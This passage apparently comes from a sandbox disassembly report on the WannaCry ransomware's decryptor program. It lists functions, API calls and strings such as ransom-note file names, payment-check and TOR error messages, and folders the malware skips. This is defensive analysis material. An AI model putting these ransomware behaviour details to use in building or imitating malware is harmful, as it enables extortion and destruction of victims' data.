fwrite.MSVCRT ref: 00401A58
fclose.MSVCRT ref: 00401A66
fclose.MSVCRT ref: 00401A74

Strings

c.wnry, xrefs: 00401A26

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004043E0, Relevance: 4.5, APIs: 3, Instructions: 15

APIs

#4284.MFC42(00000000,00000100,00000001), ref: 004043EC
#3874.MFC42(?,00000000,00000100,00000001), ref: 004043F7
#5277.MFC42 ref: 00404402

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004133E6, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6

APIs

#1576.MFC42(?,?,?,62A,00413236,00000000,?,0000000A), ref: 004133F6

Strings

62A, xrefs: 004133E6

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Non-executed Functions

Function 004026B0, Relevance: 51.1, APIs: 24, Strings: 5, Instructions: 318

APIs

Part of subcall function 0040C8F0: #823.MFC42(00000018,0040BB62,00000000,00000000), ref: 0040C8F2

swprintf.MSVCRT ref: 00402728
FindFirstFileW.KERNEL32(?,?,00000000), ref: 0040273E
wcscmp.MSVCRT ref: 004027E1
wcscmp.MSVCRT ref: 004027FB
swprintf.MSVCRT(?,%s\%s,?,?), ref: 00402822
GetFileAttributesW.KERNEL32(?), ref: 00402830
?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 00402957

Part of subcall function 00402AF0: _wcsnicmp.MSVCRT ref: 00402AFF
Part of subcall function 00402AF0: wcsstr.MSVCRT ref: 00402B18
Part of subcall function 00402AF0: _wcsicmp.MSVCRT ref: 00402B39
Part of subcall function 00402AF0: _wcsicmp.MSVCRT ref: 00402B53
Part of subcall function 00402AF0: _wcsicmp.MSVCRT ref: 00402B6D
Part of subcall function 00402AF0: _wcsicmp.MSVCRT ref: 00402B87
Part of subcall function 00402AF0: _wcsicmp.MSVCRT ref: 00402BA1
Part of subcall function 00402AF0: wcsstr.MSVCRT ref: 00402BBB
Part of subcall function 00402AF0: wcsstr.MSVCRT ref: 00402BD5
Part of subcall function 00402AF0: _wcsicmp.MSVCRT ref: 00402BF3
Part of subcall function 00402AF0: _wcsicmp.MSVCRT ref: 00402C0D
Part of subcall function 00402AF0: _wcsicmp.MSVCRT ref: 00402C27

?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000,?,?), ref: 00402863
wcslen.MSVCRT ref: 0040286E
?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z.MSVCP60(?,00000000), ref: 0040287D
wcscmp.MSVCRT ref: 004028C3
wcscmp.MSVCRT ref: 004028DD
wcscmp.MSVCRT ref: 004028F3
?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000), ref: 00402909
wcslen.MSVCRT ref: 00402914
?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z.MSVCP60(?,00000000), ref: 00402923

Part of subcall function 00402DA0: #823.MFC42(00000018,0001D3EC,0001D42E,?,00000000,00402949), ref: 00402DAF

FindNextFileW.KERNEL32(?,?), ref: 0040296A
FindClose.KERNEL32(?), ref: 0040297D

Part of subcall function 00402560: wcscpy.MSVCRT ref: 0040257D
Part of subcall function 00402560: wcsrchr.MSVCRT ref: 0040258A
Part of subcall function 00402560: _wcsicmp.MSVCRT ref: 004025A5
Part of subcall function 00402560: _wcsicmp.MSVCRT ref: 004025B4
Part of subcall function 00402560: wcscat.MSVCRT ref: 004025D3

Part of subcall function 004026B0: #825.MFC42(?,?,?,?), ref: 0040276F
Part of subcall function 004026B0: #825.MFC42(?), ref: 004027A5

swprintf.MSVCRT(?,%s\%s,?,@Please_Read_Me@.txt), ref: 00402A0C
swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.exe.lnk), ref: 00402A2C
#825.MFC42(?), ref: 00402A6B
#825.MFC42(?), ref: 00402ABF

Part of subcall function 00402E90: #825.MFC42(?,?,?,?,00402AB4,?,?,?,00000000), ref: 00402EC8
Part of subcall function 00402E90: #825.MFC42(?,?,?,?,00402AB4,?,?,?,00000000), ref: 00402EE6

Strings

@WanaDecryptor@.exe.lnk, xrefs: 004028D7, 00402A1C
%s\%s, xrefs: 0040281C, 00402A06, 00402A26
%s\*, xrefs: 0040271A
@WanaDecryptor@.bmp, xrefs: 004028ED
@Please_Read_Me@.txt, xrefs: 004028BD, 004029FC

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00403CB0, Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 122

APIs

FindFirstFileA.KERNEL32(*.res,?), ref: 00403CCA
sscanf.MSVCRT ref: 00403D26
fopen.MSVCRT ref: 00403D45
fread.MSVCRT ref: 00403D69
sprintf.MSVCRT ref: 00403D99

Part of subcall function 00401C30: #12.WS2_32(?), ref: 00401C3F

SendMessageA.USER32(?,00000143,00000000,?), ref: 00403DDB
#823.MFC42(00000088), ref: 00403DE4
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00403E0B
fclose.MSVCRT ref: 00403E16
FindNextFileA.KERNEL32(?,00000010), ref: 00403E2C
FindClose.KERNEL32(?), ref: 00403E3B

Strings

\, xrefs: 00403DBB
My Computer, xrefs: 00403D93
%08X.res, xrefs: 00403D20
*.res, xrefs: 00403CC1
\, xrefs: 00403DB4

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004080C0, Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 143

APIs

FindFirstFileA.KERNEL32(*.res,?), ref: 00408111
sscanf.MSVCRT ref: 0040816A
fopen.MSVCRT ref: 00408185
fread.MSVCRT ref: 004081A0
fclose.MSVCRT ref: 004081BE
FindNextFileA.KERNEL32(?,00000010), ref: 004081F1
FindClose.KERNEL32(?), ref: 00408200
sprintf.MSVCRT ref: 00408266
#537.MFC42(?,?,00000000), ref: 00408280

Part of subcall function 004082C0: #4278.MFC42(000003E8,00000000,000003E8,?,?,0001D474), ref: 0040830D
Part of subcall function 004082C0: #858.MFC42 ref: 00408322
Part of subcall function 004082C0: #800.MFC42 ref: 00408332
Part of subcall function 004082C0: #1200.MFC42(Too short message!,00000000,00000000,?,?,0001D474), ref: 00408354
Part of subcall function 004082C0: #800.MFC42 ref: 0040836B
Part of subcall function 004082C0: time.MSVCRT ref: 0040837F
Part of subcall function 004082C0: #540.MFC42 ref: 004083C8
Part of subcall function 004082C0: time.MSVCRT ref: 004083D6
Part of subcall function 004082C0: #2818.MFC42(?,You are sending too many mails! Please try again %d minutes later.,0000003D,00000000), ref: 0040840A
Part of subcall function 004082C0: #1200.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408419
Part of subcall function 004082C0: #800.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408429
Part of subcall function 004082C0: #800.MFC42 ref: 00408440
Part of subcall function 004082C0: time.MSVCRT ref: 0040844E
Part of subcall function 004082C0: fopen.MSVCRT ref: 00408487
Part of subcall function 004082C0: #800.MFC42 ref: 004084A8
Part of subcall function 004082C0: fread.MSVCRT ref: 004084C2
Part of subcall function 004082C0: fclose.MSVCRT ref: 004084C9
Part of subcall function 004082C0: #1200.MFC42(Your message has been sent successfully!,00000040,00000000), ref: 00408522
Part of subcall function 004082C0: time.MSVCRT ref: 00408528
Part of subcall function 004082C0: #1200.MFC42(Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!,00000030,00000000), ref: 00408544
Part of subcall function 004082C0: #800.MFC42 ref: 0040855B

#537.MFC42(?,?,00000000,?,?,00000000), ref: 004082A2

Strings

%08X.res, xrefs: 00408164
*.res, xrefs: 0040810B
---%s%s%d%I64d%d, xrefs: 00408260

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00407E80, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 67

APIs

SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,?), ref: 00407EE6
wcslen.MSVCRT ref: 00407EF4
swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.bmp), ref: 00407F20
MultiByteToWideChar.KERNEL32(00000000,00000000,b.wnry,000000FF,?,00000103), ref: 00407F41
CopyFileW.KERNEL32(?,?,00000000), ref: 00407F56
SystemParametersInfoW.USER32(00000014,00000000,?,00000001), ref: 00407F67

Strings

%s\%s, xrefs: 00407F1A
b.wnry, xrefs: 00407F38
@WanaDecryptor@.bmp, xrefs: 00407F10

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004067F0, Relevance: 13.6, APIs: 9, Instructions: 71

APIs

IsIconic.USER32(?), ref: 004067FA
#470.MFC42 ref: 0040680F
SendMessageA.USER32(?,00000027,?,00000000), ref: 0040682B
GetSystemMetrics.USER32(0000000B), ref: 00406839
GetSystemMetrics.USER32(0000000C), ref: 0040683F
GetClientRect.USER32(?,?), ref: 0040684C
DrawIcon.USER32(?,?,?,?), ref: 00406884
#755.MFC42 ref: 0040688E
#2379.MFC42 ref: 0040689C

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00406C20, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72

APIs

GetUserDefaultLangID.KERNEL32 ref: 00406C3B
GetLocaleInfoA.KERNEL32(00000000,00001001,00000000,00000032), ref: 00406C53
SendMessageA.USER32(?,00000158,00000000,00000000), ref: 00406C9A
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00406CB1
SendMessageA.USER32(?,0000014D,00000000,00000000), ref: 00406CD4

Part of subcall function 00406AE0: #540.MFC42(?,0001DAA0), ref: 00406B03
Part of subcall function 00406AE0: #3874.MFC42 ref: 00406B1B
Part of subcall function 00406AE0: #537.MFC42(msg\), ref: 00406B29
Part of subcall function 00406AE0: #924.MFC42(?,00000000,m_%s.wnry,msg\), ref: 00406B41
Part of subcall function 00406AE0: sprintf.MSVCRT ref: 00406B59
Part of subcall function 00406AE0: #800.MFC42(?,?,0001DAA0), ref: 00406B62
Part of subcall function 00406AE0: #800.MFC42 ref: 00406B73
Part of subcall function 00406AE0: GetFileAttributesA.KERNEL32(?), ref: 00406B7D
Part of subcall function 00406AE0: #537.MFC42(msg\), ref: 00406B91
Part of subcall function 00406AE0: #924.MFC42(?,00000000,m_%s.wnry,msg\), ref: 00406BA9
Part of subcall function 00406AE0: sprintf.MSVCRT ref: 00406BBB
Part of subcall function 00406AE0: #800.MFC42(?,?,?,?,?,0001DAA0), ref: 00406BC4
Part of subcall function 00406AE0: #800.MFC42 ref: 00406BD5
Part of subcall function 00406AE0: #800.MFC42(?), ref: 00406BF5

Strings

English, xrefs: 00406C5D

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00404770, Relevance: 1.5, APIs: 1, Instructions: 24

APIs

CryptReleaseContext.ADVAPI32(FFFFFFFF,00000000,?,004049AD,00404990), ref: 004047A7

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004090F0, Relevance: 56.5, APIs: 21, Strings: 11, Instructions: 454

APIs

#540.MFC42 ref: 00409137
#3874.MFC42(?), ref: 0040914A
#860.MFC42(004213A4,?), ref: 00409177
#860.MFC42(%d%%,?), ref: 00409197
_ftol.MSVCRT ref: 004091BF
SendMessageA.USER32(?,00000031,00000000,00000000), ref: 004091DD
#2860.MFC42(00000000), ref: 004091E4

Part of subcall function 00409870: #2414.MFC42(?,00409232,00000000), ref: 0040988D

#5875.MFC42(00000001), ref: 0040928D
#6170.MFC42(0000000E,00000001), ref: 004092C0
GetWindowOrgEx.GDI32(?,?), ref: 004092E1
#540.MFC42 ref: 004092FB
#2818.MFC42(?,00000000,?), ref: 00409317
GetObjectA.GDI32(?,0000003C,?), ref: 00409337
GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 0040937B
GetViewportOrgEx.GDI32(?,?), ref: 004093FF
#800.MFC42 ref: 0040963C
#6170.MFC42(?), ref: 0040965D
#5875.MFC42(?), ref: 00409680
#2414.MFC42 ref: 004096D4
#2414.MFC42 ref: 004096F5
#800.MFC42 ref: 00409719

Strings

|gA, xrefs: 00409225
pgA, xrefs: 00409641
[A, xrefs: 004096FA
|gA, xrefs: 004096A6
gfff, xrefs: 00409344
tgA, xrefs: 00409282
tgA, xrefs: 00409662
%d%%, xrefs: 0040918E
xgA, xrefs: 00409685
pgA, xrefs: 004092B8
xgA, xrefs: 0040924E

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00405230, Relevance: 49.8, APIs: 33, Instructions: 279

APIs

#940.MFC42(?), ref: 0040527D
#4277.MFC42(?,00000001), ref: 004052A0
#923.MFC42(?,00000000,?), ref: 004052B8
#858.MFC42(00000000,?,00000000,?), ref: 004052C5
#800.MFC42(00000000,?,00000000,?), ref: 004052D3
#800.MFC42(00000000,?,00000000,?), ref: 004052E4
#4129.MFC42(?,?), ref: 004052FC
#5710.MFC42 ref: 00405314
#922.MFC42(?,00000000,00000000), ref: 00405326
#858.MFC42(00000000,?,00000000,00000000), ref: 00405333
#800.MFC42(00000000,?,00000000,00000000), ref: 00405340
#800.MFC42(00000000,?,00000000,00000000), ref: 0040534E
#800.MFC42(00000000,?,00000000,00000000), ref: 0040535F
#940.MFC42(?), ref: 00405396
#5710.MFC42(?,?), ref: 004053B8
#4129.MFC42(?,?,?,?), ref: 004053D7
#922.MFC42(?,?,00000000,?,?,?,?), ref: 004053ED
#858.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 004053FA
#800.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 00405407
#800.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 00405415
#800.MFC42(00000000,?,?,00000000,?,?,?,?), ref: 00405426
#4129.MFC42(?,?), ref: 00405443
#4277.MFC42(?,?,?,?), ref: 0040545B
#922.MFC42(?,00000000,?,?,?,?,?), ref: 00405471
#858.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 0040547E
#800.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 0040548B
#800.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 00405499
#800.MFC42(00000000,?,00000000,?,?,?,?,?), ref: 004054AA
#6778.MFC42(?,00000001), ref: 004054EA
#6648.MFC42(00000000,00000001,?,00000001), ref: 004054F4
#6778.MFC42(00000000,?), ref: 00405536
#6648.MFC42(?,00000001,00000000,?), ref: 00405545
InvalidateRect.USER32(?,00000000,00000001), ref: 0040555A

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004082C0, Relevance: 47.4, APIs: 21, Strings: 6, Instructions: 181

APIs

#4278.MFC42(000003E8,00000000,000003E8,?,?,0001D474), ref: 0040830D
#858.MFC42 ref: 00408322
#800.MFC42 ref: 00408332
#1200.MFC42(Too short message!,00000000,00000000,?,?,0001D474), ref: 00408354
#800.MFC42 ref: 0040836B
time.MSVCRT ref: 0040837F
#540.MFC42 ref: 004083C8
time.MSVCRT ref: 004083D6
#2818.MFC42(?,You are sending too many mails! Please try again %d minutes later.,0000003D,00000000), ref: 0040840A
#1200.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408419
#800.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408429
#800.MFC42 ref: 00408440
time.MSVCRT ref: 0040844E
fopen.MSVCRT ref: 00408487
#800.MFC42 ref: 004084A8
fread.MSVCRT ref: 004084C2
fclose.MSVCRT ref: 004084C9

Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BE9C
Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEAD
Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEBE

Part of subcall function 0040C060: SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C0D5
Part of subcall function 0040C060: SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C102
Part of subcall function 0040C060: SendMessageA.USER32(?,00004E21,000000FF,00000000), ref: 0040C152
Part of subcall function 0040C060: SendMessageA.USER32(?,00004E21,00000000,00000000), ref: 0040C189
Part of subcall function 0040C060: SendMessageA.USER32(?,00004E22,000000FF,00000000), ref: 0040C1C2
Part of subcall function 0040C060: SendMessageA.USER32(?,00004E22,00000000,00000000), ref: 0040C1FE

#1200.MFC42(Your message has been sent successfully!,00000040,00000000), ref: 00408522
time.MSVCRT ref: 00408528
#1200.MFC42(Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!,00000030,00000000), ref: 00408544
#800.MFC42 ref: 0040855B

Strings

Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!, xrefs: 0040853F
You are sending too many mails! Please try again %d minutes later., xrefs: 00408404
00000000.res, xrefs: 00408480
s.wnry, xrefs: 004084DD
Too short message!, xrefs: 0040834F
Your message has been sent successfully!, xrefs: 0040851D

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004086E0, Relevance: 40.6, APIs: 20, Strings: 3, Instructions: 324

APIs

#470.MFC42 ref: 00408708
GetClientRect.USER32(?,?), ref: 0040871F
SendMessageA.USER32(?,00000408,00000000,00000000), ref: 00408730
#6734.MFC42(?,?), ref: 00408746
#323.MFC42(?,?), ref: 0040874F
CreateCompatibleDC.GDI32(?), ref: 004087D2
#1640.MFC42(00000000), ref: 004087DD

Part of subcall function 00409E70: CreateCompatibleBitmap.GDI32(?,?,?), ref: 00409E85
Part of subcall function 00409E70: #1641.MFC42(00000000,?,00408809,?,?,?,00000000), ref: 00409E8E

#6194.MFC42(?,?,?,\gA,?,?,?,00000000), ref: 00408831
FillRect.USER32(?,?,?), ref: 0040887D
#2754.MFC42(?,?), ref: 00408892
#2381.MFC42(?,?,?), ref: 0040889F
#3797.MFC42(?,?,?), ref: 004088C0
_ftol.MSVCRT ref: 00408951
_ftol.MSVCRT ref: 0040896F
FillRect.USER32(?,00000000,00000000), ref: 004089B0
FillRect.USER32(?,00000000,?), ref: 004089C2

Part of subcall function 00409F10: #5785.MFC42(?,?,00408A5E,?,?,?,?,?,?,?,?,00CC0020), ref: 00409F1D
Part of subcall function 00409F10: #5785.MFC42(?,?,00408A5E,?,?,?,?,?,?,?,?,00CC0020), ref: 00409F2D

#755.MFC42(?,?,?), ref: 00408B20

Part of subcall function 00409F80: BitBlt.GDI32(?,?,?,?,\gA,?,\gA,\gA,\gA), ref: 00409FB3

#5785.MFC42(?,00000000,?,?,?,?,?,?,?,00CC0020,?,?,?), ref: 00408ACE
#5785.MFC42(?,?,?,?,?,?,?,?,?,00CC0020,?,?,?), ref: 00408ADE

Part of subcall function 00409E20: #2414.MFC42(?,\gA,?,00414238,000000FF,00408AFE,?,?,?), ref: 00409E4B

#640.MFC42(?,?,?), ref: 00408B09

Strings

\gA, xrefs: 00408809, 00408811
fA, xrefs: 00408A54
fA, xrefs: 00408778

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00402AF0, Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 133

APIs

_wcsnicmp.MSVCRT ref: 00402AFF
wcsstr.MSVCRT ref: 00402B18
_wcsicmp.MSVCRT ref: 00402B39
_wcsicmp.MSVCRT ref: 00402B53
_wcsicmp.MSVCRT ref: 00402B6D
_wcsicmp.MSVCRT ref: 00402B87
_wcsicmp.MSVCRT ref: 00402BA1
wcsstr.MSVCRT ref: 00402BBB
wcsstr.MSVCRT ref: 00402BD5
_wcsicmp.MSVCRT ref: 00402BF3
_wcsicmp.MSVCRT ref: 00402C0D
_wcsicmp.MSVCRT ref: 00402C27

Strings

\WINDOWS, xrefs: 00402B67
\Local Settings\Temp, xrefs: 00402BCF
N(@, xrefs: 00402AF2, 00402AFE, 00402B17
\Program Files (x86), xrefs: 00402B9B
\Program Files, xrefs: 00402B81
\ProgramData, xrefs: 00402B4D
Content.IE5, xrefs: 00402C21
Temporary Internet Files, xrefs: 00402C07
\Intel, xrefs: 00402B33
This folder protects against ransomware. Modifying it will reduce protection, xrefs: 00402BED
\AppData\Local\Temp, xrefs: 00402BB5

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00401760, Relevance: 38.6, APIs: 17, Strings: 5, Instructions: 140

APIs

#6453.MFC42 ref: 00401780
WaitForSingleObject.KERNEL32(?,00000BB8), ref: 00401797
TerminateThread.KERNEL32(?,00000000), ref: 004017A5
CloseHandle.KERNEL32(?), ref: 004017B2
sprintf.MSVCRT ref: 00401811
fopen.MSVCRT ref: 00401821
fread.MSVCRT ref: 00401844
fclose.MSVCRT ref: 0040184D
DeleteFileA.KERNEL32(?), ref: 0040185B
#537.MFC42(You have a new message:), ref: 00401885
#924.MFC42(?,00000000,?,You have a new message:), ref: 0040189C
#1200.MFC42 ref: 004018AF
#800.MFC42 ref: 004018BF
#800.MFC42 ref: 004018D3
#1200.MFC42(You did not pay or we did not confirmed your payment!Pay now if you didn't and check again after 2 hours.Best time to check: 9:00am - 11:00am GMT from Monday to Friday.,000000F0,00000000), ref: 004018E5
rand.MSVCRT ref: 00401903
#1200.MFC42(Congratulations! Your payment has been checked!Start decrypting now!,00000040,00000000), ref: 00401939

Strings

%08X.dky, xrefs: 0040180A
You have a new message:, xrefs: 00401877
Congratulations! Your payment has been checked!Start decrypting now!, xrefs: 00401934
You did not pay or we did not confirmed your payment!Pay now if you didn't and check again after 2 hours.Best time to check: 9:00am - 11:00am GMT from Monday to Friday., xrefs: 004018E0, 00401925
Failed to check your payment!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!, xrefs: 00401918

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004012E0, Relevance: 37.0, APIs: 15, Strings: 6, Instructions: 202

APIs

sprintf.MSVCRT ref: 00401323
sprintf.MSVCRT ref: 00401339
GetFileAttributesA.KERNEL32(?), ref: 00401343
DeleteFileA.KERNEL32(?), ref: 0040139A
fopen.MSVCRT ref: 004013D5
fread.MSVCRT ref: 00401405
fclose.MSVCRT ref: 00401408
sprintf.MSVCRT ref: 00401440
fopen.MSVCRT ref: 00401453
fread.MSVCRT ref: 00401481
fclose.MSVCRT ref: 00401484
sprintf.MSVCRT ref: 004014C1
fopen.MSVCRT ref: 004014D4
fread.MSVCRT ref: 00401502
